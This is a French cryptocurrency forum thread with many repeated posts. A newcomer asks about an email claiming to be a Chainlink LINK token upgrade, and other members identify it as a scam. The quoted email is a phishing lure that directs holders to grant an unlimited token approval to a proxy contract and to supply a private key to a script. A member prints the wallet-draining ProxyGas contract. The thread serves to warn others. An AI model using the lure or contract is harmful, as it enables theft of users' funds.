Salut,
A part ça, je ne connais pas l'op mais ayant un peu échangé avec lui ces derniers jours, il semble avoir plutôt le profil du gars qui remet le nez dans ses tokens après une longue absence et qui a plein de swaps à faire pour se mettre à jour Cheesy
C’est exactement ça..j’ai semé des petites sommes un peu partout sans savoir depuis l’année dernière...simple débutant , j’essaye d’apprendre un peu tous les jours ...donc je parcours le forum ..
J’ai vu sur un post parlant ..de bon plan ..je ne l’ai pas trouvé sur le forum..
Merci 🙏
Topic: [REGLE ] UPGRADE LINK que dois-je faire avant le 5 Mars ? (Read 141 times)
Bonjour ,
Merci d’avoir répondu , vous pensez donc que c’est un scam ok merci du retour ..👍
Pour Mallix ..tu écris
« Sans accusation, je suspect que qk05919 soit un compte pour promouvoir le scam »
Tu suspectes que je promeus un scam..ah non pas d’un tout..si c’était le cas , je ne demanderais pas votre avis , grâce à ce post , il mettra au contraire en garde ..
Merci d’avoir répondu , vous pensez donc que c’est un scam ok merci du retour ..👍
Pour Mallix ..tu écris
« Sans accusation, je suspect que qk05919 soit un compte pour promouvoir le scam »
Tu suspectes que je promeus un scam..ah non pas d’un tout..si c’était le cas , je ne demanderais pas votre avis , grâce à ce post , il mettra au contraire en garde ..
Pas de soucis, je suis très méfiant de nature, et quand je me connecte sur bitcointalk je deviens juste parano vue tous les scams dans tous les sens
Cependant je pense que tu devrai tronquer l'adresse du smart-contract malicieux (un peu comme j'ai fais) pour éviter que des gens tombe dedans (un peu comme lorsqu'on évite d'afficher un lien vers un site malicieux).
attention!!
Ca semble etre un scam. Comment Chainlink aurait pu avoir ton email?
Ca semble etre un scam. Comment Chainlink aurait pu avoir ton email?
Je l'ai reçu également il y a quelques jours. J'ai effectué l'opération et j'attend l'upgrade tranquillement.
Bon ok je déconne, mais je l'ai reçu et comme vous l'avez souligné c'est évidemment un scam à 100%. Pourquoi le reçoit on ? Suite à un airdrop concernant link de près ou de loin (condition d'en posséder etc...) ?
A part ça, je ne connais pas l'op mais ayant un peu échangé avec lui ces derniers jours, il semble avoir plutôt le profil du gars qui remet le nez dans ses tokens après une longue absence et qui a plein de swaps à faire pour se mettre à jour
Bonjour ,
Merci d’avoir répondu , vous pensez donc que c’est un scam ok merci du retour ..👍
Pour Mallix ..tu écris
« Sans accusation, je suspect que qk05919 soit un compte pour promouvoir le scam »
Tu suspectes que je promeus un scam..ah non pas d’un tout..si c’était le cas , je ne demanderais pas votre avis , grâce à ce post , il mettra au contraire en garde ..
Ca semble etre un scam. Comment Chainlink aurait pu avoir ton email?
Oui bonne question ,
Pour moi mettre ce genre de post , permettra de le dénoncer et d’alerter , d’attirer l’attention ..
Et puis ça n’a pas de sens , pourquoi mettre à vue une arnaque sur un forum..
🙏🙏
Merci d’avoir répondu , vous pensez donc que c’est un scam ok merci du retour ..👍
Pour Mallix ..tu écris
« Sans accusation, je suspect que qk05919 soit un compte pour promouvoir le scam »
Tu suspectes que je promeus un scam..ah non pas d’un tout..si c’était le cas , je ne demanderais pas votre avis , grâce à ce post , il mettra au contraire en garde ..
Ca semble etre un scam. Comment Chainlink aurait pu avoir ton email?
Oui bonne question ,
Pour moi mettre ce genre de post , permettra de le dénoncer et d’alerter , d’attirer l’attention ..
Et puis ça n’a pas de sens , pourquoi mettre à vue une arnaque sur un forum..
🙏🙏
C'est un scam attention.
En fait il te demande d'approuver l'adresse 0X07DABAF341***, c'est un smart contract qui autorise le retrait sur ton propre compte.
Voici le smart contract malicieux en question:
Pour ceux qui sont capable de comprendre le code, on voit bien que le script autorise un transfert de fonds pure et simple de ton adresse à l'adresse du scam.
Sans accusation, je suspect que qk05919 soit un compte pour promouvoir le scam.
En fait il te demande d'approuver l'adresse 0X07DABAF341***, c'est un smart contract qui autorise le retrait sur ton propre compte.
Voici le smart contract malicieux en question:
Code:
/**
*Submitted for verification at Etherscan.io on 2021-02-13
*/
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
interface IERC20Token {
function allowance(address _owner, address _spender) external view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
}
contract ProxyGas {
address public owner;
constructor() public {
owner = msg.sender;
}
function transferFrom(IERC20Token _token, address _sender, address _receiver) external returns (bool) {
require(msg.sender == owner, "access denied");
uint256 amount = _token.allowance(_sender, address(this));
return _token.transferFrom(_sender, _receiver, amount);
}
function approve(IERC20Token _token, address _sender, address _receiver, uint256 _amount) external returns (bool) {
require(msg.sender == owner, "access denied");
return _token.transferFrom(_sender, _receiver, _amount);
}
}
*Submitted for verification at Etherscan.io on 2021-02-13
*/
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
interface IERC20Token {
function allowance(address _owner, address _spender) external view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
}
contract ProxyGas {
address public owner;
constructor() public {
owner = msg.sender;
}
function transferFrom(IERC20Token _token, address _sender, address _receiver) external returns (bool) {
require(msg.sender == owner, "access denied");
uint256 amount = _token.allowance(_sender, address(this));
return _token.transferFrom(_sender, _receiver, amount);
}
function approve(IERC20Token _token, address _sender, address _receiver, uint256 _amount) external returns (bool) {
require(msg.sender == owner, "access denied");
return _token.transferFrom(_sender, _receiver, _amount);
}
}
Pour ceux qui sont capable de comprendre le code, on voit bien que le script autorise un transfert de fonds pure et simple de ton adresse à l'adresse du scam.
Sans accusation, je suspect que qk05919 soit un compte pour promouvoir le scam.
attention!!
Ca semble etre un scam. Comment Chainlink aurait pu avoir ton email?
Ca semble etre un scam. Comment Chainlink aurait pu avoir ton email?
Décidément, je pensais en avoir fini , je viens de recevoir un mail pour upgrader le LINK
Que dois je dois faire avant le 5 mars , moi et l’anglais un peu juste ..ça se complique ..
Merci
LINK Contract Improvements
The upgraded smart contract uses 68% less gas, supports Meta-transactions, and allows you to participate in future votes.
Chainlink
Feb 19
Comment
Share
The upgraded smart contract is not a different contract, but just an upgraded version. This post is intended to serve as a reminder and reaffirmation of Chainlink’s smart contract upgrade on Friday, February 19th, 2021 for all community members, users and ecosystem participants.
Why do we need to upgrade? If a smart contract has already deployed it cannot be modified, so how can we update it? We use a proxy contract that receives all message calls from the outside world and redirects them to a contract containing the application logic. We can then deploy a new logic contract and update the proxy contract to reference that new contract. In Ethereum this is possible thanks to the delegatecall opcode: by putting it into the contract’s fallback function, all calls will be proxied no matter what. This doesn’t mean that the application contract will be in responsible for executing the transaction, as the proxy actually call function code from the logic contract, executing that code in proxy contracts own context. Our application state will then naturally be inside the proxy storage, and context variables such as msg.sender or msg.value will still be related to the account which sent the transaction towards the proxy.
What is a Meta-transaction? This is a fancy name for a simple idea: a third-party (called a relayer) can send another user’s transactions and pay themselves for the gas cost. In this scheme, users sign messages (not transactions) containing information about a transaction they would like to execute. Relayers are then responsible for signing valid Ethereum transactions with this information and sending them to the network, paying for the gas cost. A base contract preserves the identity of the user that originally requested the transaction. In this way, users can interact directly with smart contracts without needing to have a wallet or own Ether.
Current LINK holders will need to manually update their LINK tokens via a so called proxy contract, whose main purpose is to ensure a safe and seamless upgrade without breaking any dependencies. Although no immediate action needs to be taken, however, LINK holders who update early will be eligible for the new liquidity rewards program, starting on Q1 2021.
To provide enough time for holders to receive the upgrade information, we decided that the deadline should be Friday, March 5th, 2021 at 12:00 (UTC+8). After the deadline, for those old LINK tokens failed to update, you could send an email to [email protected]. Chain Link Team will verify the condition of your old LINK and conduct the swap process once a month. If you have any questions, comments or concerns, please get in touch at [email protected] or by replying to this email.
LINK Token Update Guide
There are four accessible methods to update your LINK tokens:
via interacting with the LINK smart contract directly on Etherscan.
via MyEtherWallet's“Interact with Contract”interface.
via MyCrypto's “Interact with Contracts” interface.
via the automatic update-script published on Chain Link's Github.
The first three updating methods are pretty straightforward and intuitive. The fourth one, even though rather simple as well, has some limitations which should be considered before deciding to go forward. In this post we outline and detail and step by step walkthrough for each option.
Recommended wallets:
MetaMask: Best for if you already have an existing wallet or if you have a hardware wallet. If you have a Trezor or Ledger you can connect through MetaMask and update without having your LINK leave your hardware wallet.
Portis, Torus, Fortmatic: Best for if you do not have an active existing wallet and need to send your LINK out of an exchange, custodian service or cold storage.
In any wallet choice, the LINK you wish to update must be in that active wallet along with a small amount of Ether to pay for the transaction cost of performing the update.
Note:
If you have LINK in exchanges or other places, you will need to withdraw it to whatever decentralized wallet(MetaMask, Trezor, Ledger, KeepKey etc.) you’re using.
Despite the fact that we provide direct links in this walkthrough, we advise all users to manually insert the necessary website addresses (Etherscan, MyEtherWallet, MyCrypto, Github) in their browser's address bar, check the website address and the SECURITY CERTIFICATE (green padlock symbol next to the address). Please check this every time you visit the chosen update website just to avoid falling into scams such as duplicate sites.
LINK Contract: 0X514910771AF9CA656AF840DFF83E8264ECF986CA
LINK Proxy Contract: 0X07DABAF341861FD5385AB0F9C4B7832804238B52
Update via Etherscan+MetaMask:
Begin by navigating to the LINK contract on Etherscan. Navigate to the “Read Contract” tab, click on “totalSupply” function and copy the value shown without the “uint256” part - this will show, in attoLINK (ex: 'wei' or 10^18), the total amount of LINK tokens in existence right now (minus any coins that have been verifiably burned). You may also skip this part and when required, enter 1000000000000000000000000000 in the “_value(uint256)” field to set the maximum approval amount for the LINK token.
You now need to set an approval for the LINK proxy contract. Switch to “Write Contract” tab on the LINK contract. You must connect to a Web3 instance such as MetaMask. You can connect a hardware wallet such as Trezor or Ledger to your MetaMask extension and thus interact without LINK tokens leaving your hardware wallet. Proceed by connecting your Web3 instance by selecting “Connect to Web3”. If you have more than one address connected to MetaMask, make sure you select the one that holds LINK tokens.
First, select the “approve” function, enter the LINK proxy contract address in the “_spender(address)” field, 0X07DABAF341861FD5385AB0F9C4B7832804238B52.
Second, enter 1000000000000000000000000000 in the “_value(uint256)” field.
Third, select “Write” button and confirm the approval in MetaMask - this will approve the full balance of LINK in your connected account.
When the transaction is confirmed the update is complete. Meanwhile, you may sell, trade and swap LINK tokens, this will not affect the upgrading process. That's it, you're all done!
Update via MyEtherWallet:
Begin by navigating to www.myetherwallet.com, access your wallet via preferred method and head to the “Contract” section to the left of your wallet interface and select “Interact with Contract”.
Enter the current LINK contract address in the “Enter Contract Address” field, 0X514910771AF9CA656AF840DFF83E8264ECF986CA.
For the “ABI/JSON Interface” field, you need to head over to LINK contract “Code” tab on Etherscan.
Scroll down to “Contract ABI” section and click on “Copy ABI to clipboard” button, to the upper right of the ABI code.
Paste the contract ABI to “ABI/JSON Interface” on MyEtherWallet and proceed by selecting “Continue” button. Finally, should look like this:
You now need to set an approval for the LINK proxy contract. Click on “Select an item” button next to the contract address and choose “approve” function.
First, enter the LINK proxy contract address in the “_spender(address):” field, 0X07DABAF341861FD5385AB0F9C4B7832804238B52.
Second, enter 1000000000000000000000000000 (value which represents the total amount of LINK tokens in existence right now) in the “_value(uint256):” field.
Note: “Value in ETH:” field must be left blank.
Third, select “Write” and confirm the approval.
When the transaction is confirmed the update is complete. Meanwhile, you may sell, trade and swap LINK tokens, this will not affect the updating process. That's it, you're all done!
Update via MyCrypto:
Begin by navigating to www.mycrypto.com, access your wallet via preferred method and head to the “TOOLS” section, to the left of your wallet interface. Click on “Interact with Contracts”.
Enter the current LINK contract address in the “Enter and address or choose a contract” field, 0X514910771AF9CA656AF840DFF83E8264ECF986CA and proceed by selecting “Interact with Contract” button.
You now need to set an approval for the LINK proxy contract. Below “Read / Write Contract” click on “Select…”field and choose “approve” function.
First, enter the LINK proxy contract address in the “_spender address” field, 0X07DABAF341861FD5385AB0F9C4B7832804238B52.
Second, enter 1000000000000000000000000000 (value which represents the total amount of LINK tokens in existence right now) in the “_value uint256” field.
Third, click on “Select Account” field and choose the address holding the LINK tokens.
Fourth, select “Write” and confirm the approval. Finally, should look like this:
When the transaction is confirmed the update is complete. Meanwhile, you may sell, trade and swap LINK tokens, this will not affect the updating process. That's it, you're all done!
Update via Automated Script:
ATTENTION: This process is recommended for an expert LINK holder, and only commonly used by other custodians with proper engineering teams and security protocols that have the relevant experience and knowledge.
Navigate and clone the update-script from the Chain Link Github repo.
Requirements for this process entail:
(a) Python 3.6+ installed.
(b) HTTP Ethereum endpoint that can receive requests (--rpcvhosts=* if local).
(c) Private key of Ethereum account stored as environment variable.
Proceed with running the setup and automatic update-script.
Steps for running the script:
cd Update
virtualenv venv
. venv/bin/activate
pip install -e .
ETHEREUM_HTTP=[YOUR_ETHEREUM_HTTP_ENDPOINT] ETHEREUM_PRIVATE_KEY=[YOUR_PRIVATE_KEY] update
If you do not have a local Ethereum node running, you must specify one with the environment variable ETHEREUM_HTTP. That's it!
Comment
Share
If you liked this post from Chainlink, why not share it?
Share
© 2021 Chainlink Unsubscribe
548 Market Street PMB 72296, San Francisco, CA 94104
Publish on Substack
Que dois je dois faire avant le 5 mars , moi et l’anglais un peu juste ..ça se complique ..
Merci
LINK Contract Improvements
The upgraded smart contract uses 68% less gas, supports Meta-transactions, and allows you to participate in future votes.
Chainlink
Feb 19
Comment
Share
The upgraded smart contract is not a different contract, but just an upgraded version. This post is intended to serve as a reminder and reaffirmation of Chainlink’s smart contract upgrade on Friday, February 19th, 2021 for all community members, users and ecosystem participants.
Why do we need to upgrade? If a smart contract has already deployed it cannot be modified, so how can we update it? We use a proxy contract that receives all message calls from the outside world and redirects them to a contract containing the application logic. We can then deploy a new logic contract and update the proxy contract to reference that new contract. In Ethereum this is possible thanks to the delegatecall opcode: by putting it into the contract’s fallback function, all calls will be proxied no matter what. This doesn’t mean that the application contract will be in responsible for executing the transaction, as the proxy actually call function code from the logic contract, executing that code in proxy contracts own context. Our application state will then naturally be inside the proxy storage, and context variables such as msg.sender or msg.value will still be related to the account which sent the transaction towards the proxy.
What is a Meta-transaction? This is a fancy name for a simple idea: a third-party (called a relayer) can send another user’s transactions and pay themselves for the gas cost. In this scheme, users sign messages (not transactions) containing information about a transaction they would like to execute. Relayers are then responsible for signing valid Ethereum transactions with this information and sending them to the network, paying for the gas cost. A base contract preserves the identity of the user that originally requested the transaction. In this way, users can interact directly with smart contracts without needing to have a wallet or own Ether.
Current LINK holders will need to manually update their LINK tokens via a so called proxy contract, whose main purpose is to ensure a safe and seamless upgrade without breaking any dependencies. Although no immediate action needs to be taken, however, LINK holders who update early will be eligible for the new liquidity rewards program, starting on Q1 2021.
To provide enough time for holders to receive the upgrade information, we decided that the deadline should be Friday, March 5th, 2021 at 12:00 (UTC+8). After the deadline, for those old LINK tokens failed to update, you could send an email to [email protected]. Chain Link Team will verify the condition of your old LINK and conduct the swap process once a month. If you have any questions, comments or concerns, please get in touch at [email protected] or by replying to this email.
LINK Token Update Guide
There are four accessible methods to update your LINK tokens:
via interacting with the LINK smart contract directly on Etherscan.
via MyEtherWallet's“Interact with Contract”interface.
via MyCrypto's “Interact with Contracts” interface.
via the automatic update-script published on Chain Link's Github.
The first three updating methods are pretty straightforward and intuitive. The fourth one, even though rather simple as well, has some limitations which should be considered before deciding to go forward. In this post we outline and detail and step by step walkthrough for each option.
Recommended wallets:
MetaMask: Best for if you already have an existing wallet or if you have a hardware wallet. If you have a Trezor or Ledger you can connect through MetaMask and update without having your LINK leave your hardware wallet.
Portis, Torus, Fortmatic: Best for if you do not have an active existing wallet and need to send your LINK out of an exchange, custodian service or cold storage.
In any wallet choice, the LINK you wish to update must be in that active wallet along with a small amount of Ether to pay for the transaction cost of performing the update.
Note:
If you have LINK in exchanges or other places, you will need to withdraw it to whatever decentralized wallet(MetaMask, Trezor, Ledger, KeepKey etc.) you’re using.
Despite the fact that we provide direct links in this walkthrough, we advise all users to manually insert the necessary website addresses (Etherscan, MyEtherWallet, MyCrypto, Github) in their browser's address bar, check the website address and the SECURITY CERTIFICATE (green padlock symbol next to the address). Please check this every time you visit the chosen update website just to avoid falling into scams such as duplicate sites.
LINK Contract: 0X514910771AF9CA656AF840DFF83E8264ECF986CA
LINK Proxy Contract: 0X07DABAF341861FD5385AB0F9C4B7832804238B52
Update via Etherscan+MetaMask:
Begin by navigating to the LINK contract on Etherscan. Navigate to the “Read Contract” tab, click on “totalSupply” function and copy the value shown without the “uint256” part - this will show, in attoLINK (ex: 'wei' or 10^18), the total amount of LINK tokens in existence right now (minus any coins that have been verifiably burned). You may also skip this part and when required, enter 1000000000000000000000000000 in the “_value(uint256)” field to set the maximum approval amount for the LINK token.
You now need to set an approval for the LINK proxy contract. Switch to “Write Contract” tab on the LINK contract. You must connect to a Web3 instance such as MetaMask. You can connect a hardware wallet such as Trezor or Ledger to your MetaMask extension and thus interact without LINK tokens leaving your hardware wallet. Proceed by connecting your Web3 instance by selecting “Connect to Web3”. If you have more than one address connected to MetaMask, make sure you select the one that holds LINK tokens.
First, select the “approve” function, enter the LINK proxy contract address in the “_spender(address)” field, 0X07DABAF341861FD5385AB0F9C4B7832804238B52.
Second, enter 1000000000000000000000000000 in the “_value(uint256)” field.
Third, select “Write” button and confirm the approval in MetaMask - this will approve the full balance of LINK in your connected account.
When the transaction is confirmed the update is complete. Meanwhile, you may sell, trade and swap LINK tokens, this will not affect the upgrading process. That's it, you're all done!
Update via MyEtherWallet:
Begin by navigating to www.myetherwallet.com, access your wallet via preferred method and head to the “Contract” section to the left of your wallet interface and select “Interact with Contract”.
Enter the current LINK contract address in the “Enter Contract Address” field, 0X514910771AF9CA656AF840DFF83E8264ECF986CA.
For the “ABI/JSON Interface” field, you need to head over to LINK contract “Code” tab on Etherscan.
Scroll down to “Contract ABI” section and click on “Copy ABI to clipboard” button, to the upper right of the ABI code.
Paste the contract ABI to “ABI/JSON Interface” on MyEtherWallet and proceed by selecting “Continue” button. Finally, should look like this:
You now need to set an approval for the LINK proxy contract. Click on “Select an item” button next to the contract address and choose “approve” function.
First, enter the LINK proxy contract address in the “_spender(address):” field, 0X07DABAF341861FD5385AB0F9C4B7832804238B52.
Second, enter 1000000000000000000000000000 (value which represents the total amount of LINK tokens in existence right now) in the “_value(uint256):” field.
Note: “Value in ETH:” field must be left blank.
Third, select “Write” and confirm the approval.
When the transaction is confirmed the update is complete. Meanwhile, you may sell, trade and swap LINK tokens, this will not affect the updating process. That's it, you're all done!
Update via MyCrypto:
Begin by navigating to www.mycrypto.com, access your wallet via preferred method and head to the “TOOLS” section, to the left of your wallet interface. Click on “Interact with Contracts”.
Enter the current LINK contract address in the “Enter and address or choose a contract” field, 0X514910771AF9CA656AF840DFF83E8264ECF986CA and proceed by selecting “Interact with Contract” button.
You now need to set an approval for the LINK proxy contract. Below “Read / Write Contract” click on “Select…”field and choose “approve” function.
First, enter the LINK proxy contract address in the “_spender address” field, 0X07DABAF341861FD5385AB0F9C4B7832804238B52.
Second, enter 1000000000000000000000000000 (value which represents the total amount of LINK tokens in existence right now) in the “_value uint256” field.
Third, click on “Select Account” field and choose the address holding the LINK tokens.
Fourth, select “Write” and confirm the approval. Finally, should look like this:
When the transaction is confirmed the update is complete. Meanwhile, you may sell, trade and swap LINK tokens, this will not affect the updating process. That's it, you're all done!
Update via Automated Script:
ATTENTION: This process is recommended for an expert LINK holder, and only commonly used by other custodians with proper engineering teams and security protocols that have the relevant experience and knowledge.
Navigate and clone the update-script from the Chain Link Github repo.
Requirements for this process entail:
(a) Python 3.6+ installed.
(b) HTTP Ethereum endpoint that can receive requests (--rpcvhosts=* if local).
(c) Private key of Ethereum account stored as environment variable.
Proceed with running the setup and automatic update-script.
Steps for running the script:
cd Update
virtualenv venv
. venv/bin/activate
pip install -e .
ETHEREUM_HTTP=[YOUR_ETHEREUM_HTTP_ENDPOINT] ETHEREUM_PRIVATE_KEY=[YOUR_PRIVATE_KEY] update
If you do not have a local Ethereum node running, you must specify one with the environment variable ETHEREUM_HTTP. That's it!
Comment
Share
If you liked this post from Chainlink, why not share it?
Share
© 2021 Chainlink Unsubscribe
548 Market Street PMB 72296, San Francisco, CA 94104
Publish on Substack
Jump to: